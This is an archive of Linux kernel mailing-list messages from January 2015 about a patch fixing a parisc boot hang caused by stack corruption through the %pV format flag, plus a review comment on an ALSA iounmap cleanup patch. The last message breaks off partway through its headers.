NNTP-Posting-Date: Sun, 4 Jan 2015 19:12:59 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	linux-serial@vger.kernel.org,
	Sudip Mukherjee <sudipm.mukherjee@gmail.com>
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jan 04 20:12:51 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Y7qbb-0003pW-0R
	for glpp-linux-parisc@plane.gmane.org; Sun, 04 Jan 2015 20:12:51 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753060AbbADTMu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 4 Jan 2015 14:12:50 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:47010 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753058AbbADTMt (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 4 Jan 2015 14:12:49 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 4FCF68EE0CD;
	Sun,  4 Jan 2015 11:12:49 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id iAtKj8pjGean; Sun,  4 Jan 2015 11:12:49 -0800 (PST)
Original-Received: from [153.66.254.242] (unknown [50.46.149.214])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id CADCE8EE0CB;
	Sun,  4 Jan 2015 11:12:48 -0800 (PST)
In-Reply-To: <20150102185127.GA8636@kroah.com>
X-Mailer: Evolution 3.12.7 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25535 gmane.linux.serial:17177
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25535>

On Fri, 2015-01-02 at 10:51 -0800, Greg Kroah-Hartman wrote:
> On Fri, Jan 02, 2015 at 10:05:13AM -0800, James Bottomley wrote:
> > From: James Bottomley <JBottomley@Parallels.com>
> > 
> > This is a partial revert of 2f2dafe (serial: serial_core.c: printk
> > replacement) which gets us booting again.  The real problem seems to be
> > the _emit path in early boot.  However, until we can root cause it, we
> > need at least to get boot working.
> > 
> > Fixes: 2f2dafe77df2c78e189a9fa6b1879dffd06ae5a1
> > Cc: stable@vger.kernel.org
> > Signed-off-by: James Bottomley <JBottomley@Parallels.com>
> > 
> > ---
> > 
> > diff --git a/drivers/tty/serial/serial_core.c b/drivers/tty/serial/serial_core.c
> > index 57ca61b..984605b 100644
> > --- a/drivers/tty/serial/serial_core.c
> > +++ b/drivers/tty/serial/serial_core.c
> > @@ -2164,7 +2164,9 @@ uart_report_port(struct uart_driver *drv, struct uart_port *port)
> >  		break;
> >  	}
> >  
> > -	dev_info(port->dev, "%s%d at %s (irq = %d, base_baud = %d) is a %s\n",
> > +	printk(KERN_INFO "%s%s%s%d at %s (irq = %d, base_baud = %d) is a %s\n",
> > +	       port->dev ? dev_name(port->dev) : "",
> > +	       port->dev ? ": " : "",
> >  	       drv->dev_name,
> >  	       drv->tty_driver->name_base + port->line,
> >  	       address, port->irq, port->uartclk / 16, uart_type(port));
> 
> Very odd, but I'll go queue it up, thanks.

OK, well this turned out to be one of the weirder fishing expeditions
I've been on.  The problem is this strange linux specific printf format
flag %pV.  The way to fix the bug is not to indirect the dev_xxx printks
via %pV.  What's happening is that in some circumstances, using %pV
corrupts the stack.

The reason seems to be that whoever came up with %pV didn't read the man
pages carefully enough. In all the examples and use cases, the va_list
is passed by *copy* not by reference.  For some inexplicable reason it's
passed by reference in struct va_format.  Sure enough when I fix up my
local tree to pass by copy it all works (at least as far as I can tell:
most of the time the stack corruption passes unnoticed and minor
disturbances can affect that.  However, the type and size of the va_list
is the same in reference and copy, so I think it's reasonably
definitive).

I'd really like one of our gcc experts to comment here because all of
these are builtin_ types and functions, so why there's a problem is a
mystery (translate: I don't understand enough of gcc to make sense of
the source code), but the surmise would be that the builtins are taking
some stack frame information from the source and, because it's a pointer
not a copy, it's in the wrong frame.

Assuming this turns out to be the problem, fixing it is going to be a
real bugger because on most platforms, the type of va_list is void *
meaning you can't tell the difference at compile time between a copy and
a reference, because typeof(void *) == typeof(void **),  and this %pV is
sprayed all over our code base.

We should probably also have the security experts look it over because
any way of inducing stack frame corruption is potentially exploitable,
although, in this case, I think all of the uses are internal so the user
doesn't have the ability to influence the source data.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.serial
Subject: Re: [PATCH] serial: fix parisc boot hang
Date: Sun, 4 Jan 2015 15:41:02 -0500
Lines: 94
Approved: news@gmane.org
Message-ID: <BLU436-SMTP18804757BD2AD6E29059A76975B0@phx.gbl>
References: <1420221913.2072.7.camel@HansenPartnership.com> <20150102185127.GA8636@kroah.com> <1420398768.2078.1.camel@HansenPartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1420404129 7921 80.91.229.3 (4 Jan 2015 20:42:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 4 Jan 2015 20:42:09 +0000 (UTC)
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	linux-serial@vger.kernel.org,
	Sudip Mukherjee <sudipm.mukherjee@gmail.com>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jan 04 21:42:02 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Y7rzt-0003mK-F2
	for glpp-linux-parisc@plane.gmane.org; Sun, 04 Jan 2015 21:42:01 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752789AbbADUmB (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 4 Jan 2015 15:42:01 -0500
Original-Received: from blu004-omc4s7.hotmail.com ([65.55.111.146]:54500 "EHLO
	BLU004-OMC4S7.hotmail.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752778AbbADUmA convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 4 Jan 2015 15:42:00 -0500
Original-Received: from BLU436-SMTP188 ([65.55.111.135]) by BLU004-OMC4S7.hotmail.com over TLS secured channel with Microsoft SMTPSVC(7.5.7601.22751);
	 Sun, 4 Jan 2015 12:41:06 -0800
X-TMN: [+Lb1ceiVENBP9MLXnFMnt/SwfhedkAtq]
X-Originating-Email: [dave.anglin@bell.net]
In-Reply-To: <1420398768.2078.1.camel@HansenPartnership.com>
X-Mailer: Apple Mail (2.1085)
X-OriginalArrivalTime: 04 Jan 2015 20:41:05.0513 (UTC) FILETIME=[C2DE4D90:01D0285E]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25536 gmane.linux.serial:17179
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25536>

On 2015-01-04, at 2:12 PM, James Bottomley wrote:

> On Fri, 2015-01-02 at 10:51 -0800, Greg Kroah-Hartman wrote:
>> On Fri, Jan 02, 2015 at 10:05:13AM -0800, James Bottomley wrote:
>>> From: James Bottomley <JBottomley@Parallels.com>
>>> 
>>> This is a partial revert of 2f2dafe (serial: serial_core.c: printk
>>> replacement) which gets us booting again.  The real problem seems to be
>>> the _emit path in early boot.  However, until we can root cause it, we
>>> need at least to get boot working.
>>> 
>>> Fixes: 2f2dafe77df2c78e189a9fa6b1879dffd06ae5a1
>>> Cc: stable@vger.kernel.org
>>> Signed-off-by: James Bottomley <JBottomley@Parallels.com>
>>> 
>>> ---
>>> 
>>> diff --git a/drivers/tty/serial/serial_core.c b/drivers/tty/serial/serial_core.c
>>> index 57ca61b..984605b 100644
>>> --- a/drivers/tty/serial/serial_core.c
>>> +++ b/drivers/tty/serial/serial_core.c
>>> @@ -2164,7 +2164,9 @@ uart_report_port(struct uart_driver *drv, struct uart_port *port)
>>> 		break;
>>> 	}
>>> 
>>> -	dev_info(port->dev, "%s%d at %s (irq = %d, base_baud = %d) is a %s\n",
>>> +	printk(KERN_INFO "%s%s%s%d at %s (irq = %d, base_baud = %d) is a %s\n",
>>> +	       port->dev ? dev_name(port->dev) : "",
>>> +	       port->dev ? ": " : "",
>>> 	       drv->dev_name,
>>> 	       drv->tty_driver->name_base + port->line,
>>> 	       address, port->irq, port->uartclk / 16, uart_type(port));
>> 
>> Very odd, but I'll go queue it up, thanks.
> 
> OK, well this turned out to be one of the weirder fishing expeditions
> I've been on.  The problem is this strange linux specific printf format
> flag %pV.  The way to fix the bug is not to indirect the dev_xxx printks
> via %pV.  What's happening is that in some circumstances, using %pV
> corrupts the stack.
> 
> The reason seems to be that whoever came up with %pV didn't read the man
> pages carefully enough. In all the examples and use cases, the va_list
> is passed by *copy* not by reference.  For some inexplicable reason it's
> passed by reference in struct va_format.  Sure enough when I fix up my
> local tree to pass by copy it all works (at least as far as I can tell:
> most of the time the stack corruption passes unnoticed and minor
> disturbances can affect that.  However, the type and size of the va_list
> is the same in reference and copy, so I think it's reasonably
> definitive).
> 
> I'd really like one of our gcc experts to comment here because all of
> these are builtin_ types and functions, so why there's a problem is a
> mystery (translate: I don't understand enough of gcc to make sense of
> the source code), but the surmise would be that the builtins are taking
> some stack frame information from the source and, because it's a pointer
> not a copy, it's in the wrong frame.
> 
> Assuming this turns out to be the problem, fixing it is going to be a
> real bugger because on most platforms, the type of va_list is void *
> meaning you can't tell the difference at compile time between a copy and
> a reference, because typeof(void *) == typeof(void **),  and this %pV is
> sprayed all over our code base.
> 
> We should probably also have the security experts look it over because
> any way of inducing stack frame corruption is potentially exploitable,
> although, in this case, I think all of the uses are internal so the user
> doesn't have the ability to influence the source data.


Would it be possible to create a relatively simple test case?

On 64-bit parisc, the va_list is built up in part by hppa_builtin_saveregs() in pa.c.
It's stored in a region in the callers frame reserved for arguments.

I tend to think it's dangerous to pass a va_list by reference as in general the called
function is free to use the incoming argument region for its own purposes after
the incoming arguments have been copied.  This might be the cause of the stack
corruption you are seeing.

On parisc, the callee is responsible for copying incoming arguments if necessary.
This is somewhat unusual...

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.serial
Subject: Re: [PATCH] serial: fix parisc boot hang
Date: Sun, 04 Jan 2015 22:34:32 -0800
Lines: 112
Approved: news@gmane.org
Message-ID: <1420439672.7744.1.camel@HansenPartnership.com>
References: <1420221913.2072.7.camel@HansenPartnership.com>
	 <20150102185127.GA8636@kroah.com>
	 <1420398768.2078.1.camel@HansenPartnership.com>
	 <BLU436-SMTP18804757BD2AD6E29059A76975B0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1420439687 31288 80.91.229.3 (5 Jan 2015 06:34:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 5 Jan 2015 06:34:47 +0000 (UTC)
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	linux-serial@vger.kernel.org,
	Sudip Mukherjee <sudipm.mukherjee@gmail.com>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 05 07:34:38 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Y81FN-0001AX-OA
	for glpp-linux-parisc@plane.gmane.org; Mon, 05 Jan 2015 07:34:38 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751087AbbAEGef (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 5 Jan 2015 01:34:35 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:48788 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750959AbbAEGee (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 5 Jan 2015 01:34:34 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 736848EE0CD;
	Sun,  4 Jan 2015 22:34:33 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id BrvBSBUe7Po0; Sun,  4 Jan 2015 22:34:33 -0800 (PST)
Original-Received: from [153.66.254.242] (unknown [50.46.149.214])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id CAB0B8EE0CB;
	Sun,  4 Jan 2015 22:34:32 -0800 (PST)
In-Reply-To: <BLU436-SMTP18804757BD2AD6E29059A76975B0@phx.gbl>
X-Mailer: Evolution 3.12.7 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25537 gmane.linux.serial:17180
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25537>

On Sun, 2015-01-04 at 15:41 -0500, John David Anglin wrote:
> On 2015-01-04, at 2:12 PM, James Bottomley wrote:
> 
> > On Fri, 2015-01-02 at 10:51 -0800, Greg Kroah-Hartman wrote:
> >> On Fri, Jan 02, 2015 at 10:05:13AM -0800, James Bottomley wrote:
> >>> From: James Bottomley <JBottomley@Parallels.com>
> >>> 
> >>> This is a partial revert of 2f2dafe (serial: serial_core.c: printk
> >>> replacement) which gets us booting again.  The real problem seems to be
> >>> the _emit path in early boot.  However, until we can root cause it, we
> >>> need at least to get boot working.
> >>> 
> >>> Fixes: 2f2dafe77df2c78e189a9fa6b1879dffd06ae5a1
> >>> Cc: stable@vger.kernel.org
> >>> Signed-off-by: James Bottomley <JBottomley@Parallels.com>
> >>> 
> >>> ---
> >>> 
> >>> diff --git a/drivers/tty/serial/serial_core.c b/drivers/tty/serial/serial_core.c
> >>> index 57ca61b..984605b 100644
> >>> --- a/drivers/tty/serial/serial_core.c
> >>> +++ b/drivers/tty/serial/serial_core.c
> >>> @@ -2164,7 +2164,9 @@ uart_report_port(struct uart_driver *drv, struct uart_port *port)
> >>> 		break;
> >>> 	}
> >>> 
> >>> -	dev_info(port->dev, "%s%d at %s (irq = %d, base_baud = %d) is a %s\n",
> >>> +	printk(KERN_INFO "%s%s%s%d at %s (irq = %d, base_baud = %d) is a %s\n",
> >>> +	       port->dev ? dev_name(port->dev) : "",
> >>> +	       port->dev ? ": " : "",
> >>> 	       drv->dev_name,
> >>> 	       drv->tty_driver->name_base + port->line,
> >>> 	       address, port->irq, port->uartclk / 16, uart_type(port));
> >> 
> >> Very odd, but I'll go queue it up, thanks.
> > 
> > OK, well this turned out to be one of the weirder fishing expeditions
> > I've been on.  The problem is this strange linux specific printf format
> > flag %pV.  The way to fix the bug is not to indirect the dev_xxx printks
> > via %pV.  What's happening is that in some circumstances, using %pV
> > corrupts the stack.
> > 
> > The reason seems to be that whoever came up with %pV didn't read the man
> > pages carefully enough. In all the examples and use cases, the va_list
> > is passed by *copy* not by reference.  For some inexplicable reason it's
> > passed by reference in struct va_format.  Sure enough when I fix up my
> > local tree to pass by copy it all works (at least as far as I can tell:
> > most of the time the stack corruption passes unnoticed and minor
> > disturbances can affect that.  However, the type and size of the va_list
> > is the same in reference and copy, so I think it's reasonably
> > definitive).
> > 
> > I'd really like one of our gcc experts to comment here because all of
> > these are builtin_ types and functions, so why there's a problem is a
> > mystery (translate: I don't understand enough of gcc to make sense of
> > the source code), but the surmise would be that the builtins are taking
> > some stack frame information from the source and, because it's a pointer
> > not a copy, it's in the wrong frame.
> > 
> > Assuming this turns out to be the problem, fixing it is going to be a
> > real bugger because on most platforms, the type of va_list is void *
> > meaning you can't tell the difference at compile time between a copy and
> > a reference, because typeof(void *) == typeof(void **),  and this %pV is
> > sprayed all over our code base.
> > 
> > We should probably also have the security experts look it over because
> > any way of inducing stack frame corruption is potentially exploitable,
> > although, in this case, I think all of the uses are internal so the user
> > doesn't have the ability to influence the source data.
> 
> 
> Would it be possible to create a relatively simple test case?

Unfortunately not.  I'm no longer even sure this is the root cause: it
reproduced again, even passing va_list by copy.

James

> On 64-bit parisc, the va_list is built up in part by
> hppa_builtin_saveregs() in pa.c.
> It's stored in a region in the callers frame reserved for arguments.
> 
> I tend to think it's dangerous to pass a va_list by reference as in
> general the called
> function is free to use the incoming argument region for its own
> purposes after
> the incoming arguments have been copied.  This might be the cause of
> the stack
> corruption you are seeing.
> 
> On parisc, the callee is responsible for copying incoming arguments if
> necessary.
> This is somewhat unusual...
> 
> Dave
> --
> John David Anglin	dave.anglin@bell.net
> 
> 
> 
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
> 


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dan Carpenter <dan.carpenter@oracle.com>
Newsgroups: gmane.linux.alsa.devel,gmane.linux.ports.parisc,gmane.linux.kernel.janitors,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 11/13] ALSA: Deletion of checks before the
 function call "iounmap"
Date: Mon, 5 Jan 2015 16:58:21 +0300
Lines: 17
Approved: news@gmane.org
Message-ID: <20150105135821.GD15033@mwanda>
References: <alpine.DEB.2.10.1402251014170.2080@hadrien>
 <530CD2C4.4050903@users.sourceforge.net>
 <alpine.DEB.2.10.1402251840450.7035@hadrien>
 <530CF8FF.8080600@users.sourceforge.net>
 <alpine.DEB.2.02.1402252117150.2047@localhost6.localdomain6>
 <530DD06F.4090703@users.sourceforge.net>
 <alpine.DEB.2.02.1402262129250.2221@localhost6.localdomain6>
 <5317A59D.4@users.sourceforge.net>
 <54A9355F.4050102@users.sourceforge.net>
 <54A941C1.4020906@users.sourceforge.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1420466354 13148 80.91.229.3 (5 Jan 2015 13:59:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 5 Jan 2015 13:59:14 +0000 (UTC)
Cc: alsa-devel@alsa-project.org, Russell King <linux@arm.linux.org.uk>,
 linux-parisc@vger.kernel.org, Takashi Iwai <tiwai@suse.de>,
 kernel-janitors@vger.kernel.org, Clemens Ladisch <clemens@ladisch.de>,
 LKML <linux-kernel@vger.kernel.org>, Julia Lawall <julia.lawall@lip6.fr>,
 Thibaut Varene <T-Bone@parisc-linux.org>,
 Johannes Berg <johannes@sipsolutions.net>, linuxppc-dev@lists.ozlabs.org
To: SF Markus Elfring <elfring@users.sourceforge.net>
Original-X-From: alsa-devel-bounces@alsa-project.org Mon Jan 05 14:59:05 2015
Return-path: <alsa-devel-bounces@alsa-project.org>
Envelope-to: glad-alsa-devel-2@m.gmane.org
Original-Received: from alsa0.perex.cz ([77.48.224.243])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <alsa-devel-bounces@alsa-project.org>)
	id 1Y88BU-0002qx-OY
	for glad-alsa-devel-2@m.gmane.org; Mon, 05 Jan 2015 14:59:04 +0100
Original-Received: by alsa0.perex.cz (Postfix, from userid 1000)
	id DFC4A2605CA; Mon,  5 Jan 2015 14:59:03 +0100 (CET)
X-Spam-Checker-Version: SpamAssassin 3.2.4 (2008-01-01) on mail1.perex.cz
X-Spam-Level: 
X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY
	autolearn=disabled version=3.2.4
Original-Received: from alsa0.perex.cz (localhost [IPv6:::1])
	by alsa0.perex.cz (Postfix) with ESMTP id BB5A8260566;
	Mon,  5 Jan 2015 14:58:53 +0100 (CET)
X-Original-To: alsa-devel@alsa-project.org
Delivered-To: alsa-devel@alsa-project.org
Original-Received: by alsa0.perex.cz (Postfix, from userid 1000)
 id 02591260573; Mon,  5 Jan 2015 14:58:48 +0100 (CET)
Original-Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81])
 by alsa0.perex.cz (Postfix) with ESMTP id 40D552604D0
 for <alsa-devel@alsa-project.org>; Mon,  5 Jan 2015 14:58:40 +0100 (CET)
Original-Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237])
 by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id
 t05DwWHR003039
 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
 Mon, 5 Jan 2015 13:58:34 GMT
Original-Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231])
 by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id t05DwRIg005602
 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL);
 Mon, 5 Jan 2015 13:58:28 GMT
Original-Received: from abhmp0003.oracle.com (abhmp0003.oracle.com [141.146.116.9])
 by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id t05DwRlQ016527;
 Mon, 5 Jan 2015 13:58:27 GMT
Original-Received: from mwanda (/154.0.139.178) by default (Oracle Beehive Gateway v4.0)
 with ESMTP ; Mon, 05 Jan 2015 05:58:26 -0800
Content-Disposition: inline
In-Reply-To: <54A941C1.4020906@users.sourceforge.net>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Source-IP: acsinet21.oracle.com [141.146.126.237]
X-BeenThere: alsa-devel@alsa-project.org
X-Mailman-Version: 2.1.14
Precedence: list
List-Id: "Alsa-devel mailing list for ALSA developers -
 http://www.alsa-project.org" <alsa-devel.alsa-project.org>
List-Unsubscribe: <http://mailman.alsa-project.org/mailman/options/alsa-devel>, 
 <mailto:alsa-devel-request@alsa-project.org?subject=unsubscribe>
List-Archive: <http://mailman.alsa-project.org/pipermail/alsa-devel/>
List-Post: <mailto:alsa-devel@alsa-project.org>
List-Help: <mailto:alsa-devel-request@alsa-project.org?subject=help>
List-Subscribe: <http://mailman.alsa-project.org/mailman/listinfo/alsa-devel>, 
 <mailto:alsa-devel-request@alsa-project.org?subject=subscribe>
Errors-To: alsa-devel-bounces@alsa-project.org
Original-Sender: alsa-devel-bounces@alsa-project.org
Xref: news.gmane.org gmane.linux.alsa.devel:132378 gmane.linux.ports.parisc:25538 gmane.linux.kernel.janitors:32677 gmane.linux.kernel:1858696 gmane.linux.ports.ppc64.devel:107961
Archived-At: <http://permalink.gmane.org/gmane.linux.alsa.devel/132378>

On Sun, Jan 04, 2015 at 02:36:01PM +0100, SF Markus Elfring wrote:
>  	/* unmap PCI memory space, mapped during device init. */
> -	for (idx = 0; idx < HPI_MAX_ADAPTER_MEM_SPACES; idx++) {
> -		if (pci.ap_mem_base[idx])
> -			iounmap(pci.ap_mem_base[idx]);
> -	}
> +	for (idx = 0; idx < HPI_MAX_ADAPTER_MEM_SPACES; ++idx)
> +		iounmap(pci.ap_mem_base[idx]);
>  

Don't do the gratuitous idx++ to ++idx changes.  You do it a couple
other places as well.  It belongs in a separate patch if you really feel
it is worth doing.  (It is not a clean up and it is not worth doing).

regards,
dan carpenter


From - Thu Nov 08 21:37:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Hurley <peter@hurleysoftware.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.serial
Subject: Re: [PATCH] serial: fix parisc boot hang
Date: Mon, 05 Jan 2015 11:02:56 -0500
Lines: 104
Approved: news@gmane.org
Message-ID: <54AAB5B0.7080207@hurleysoftware.com>
References: <1420221913.2072.7.camel@HansenPartnership.com>	 <20150102185127.GA8636@kroah.com>	 <1420398768.2078.1.camel@HansenPartnership.com>	 <BLU436-SMTP18804757BD2AD6E29059A76975B0@phx.gbl> <1420439672.7744.1.camel@HansenPartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1420473801 8979 80.91.229.3 (5 Jan 2015 16:03:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 5 Jan 2015 16:03:21 +0000 (UTC)
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	linux-serial@vger.kernel.org,
	Sudip Mukherjee <sudipm.mukherjee@gmail.com>
To: James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 05 17:03:13 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Y8A7c-0003JC-Mm
	for glpp-linux-parisc@plane.gmane.org; Mon, 05 Jan 2015 17:03:13 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753201AbbAEQDL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 5 Jan 2015 11:03:11 -0500
Original-Received: from mail-qc0-f170.google.com ([209.85.216.170]:35894 "EHLO
	mail-qc0-f170.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753084AbbAEQDK (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 5 Jan 2015 11:03:10 -0500
Original-Received: by mail-qc0-f170.google.com with SMTP id x3so15601817qcv.15
        for <linux-parisc@vger.kernel.org>; Mon, 05 Jan 2015 08:03:10 -0800 (PST)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:message-id:date:from:user-agent:mime-version:to
         :cc:subject:references:in-reply-to:content-type
         :content-transfer-encoding;
        bh=+oNxiAG2Bum0yObz6ae3vaqDawhQ0wiq9wm+iN4iCAw=;
        b=PGTUBEW9daTop93iCFxG7+DEG0baVk4XCx2DPEF31RB2bQ+uKQoLp3uU4pwvrkFcqN
         prD6QxN24Zmpuqh2DZSHYLHhMxCmHUmjS10F8qVmFAv8sq5P/KYGUq1QxFcU0P35Vtoi
         NBuZ6hC3oFNULdaYSbyl46NK3OoEtFKHxjA0tplh2/W5Lwip6IDXLTTQwOGir/3osmeo
         Npfq4veHM7Y82VPKPa/FgCZnMQ3Tgsld2zcHO3zbjSn+uRi9hK7P0rHFnzG0HU7ARUay
         AOcsYBrm++VbaVnTAHJqFZRypEYTDmhNhMH3OHTWxBurFS0GREtkykO/ra7nji5MAyjh
         4s1g==
X-Gm-Message-State: ALoCoQkdQAI/CTbxxsHOQiwNjwVP2f2eeWV3UTDBp9DTibDK0jWcw+DOijWs6rzRc5vJ4t2vizsK
X-Received: by 10.224.128.196 with SMTP id l4mr136679795qas.100.1420473789892;
        Mon, 05 Jan 2015 08:03:09 -0800 (PST)
Original-Received: from [192.168.1.139] (h96-61-87-245.cntcnh.dsl.dynamic.tds.net. [96.61.87.245])
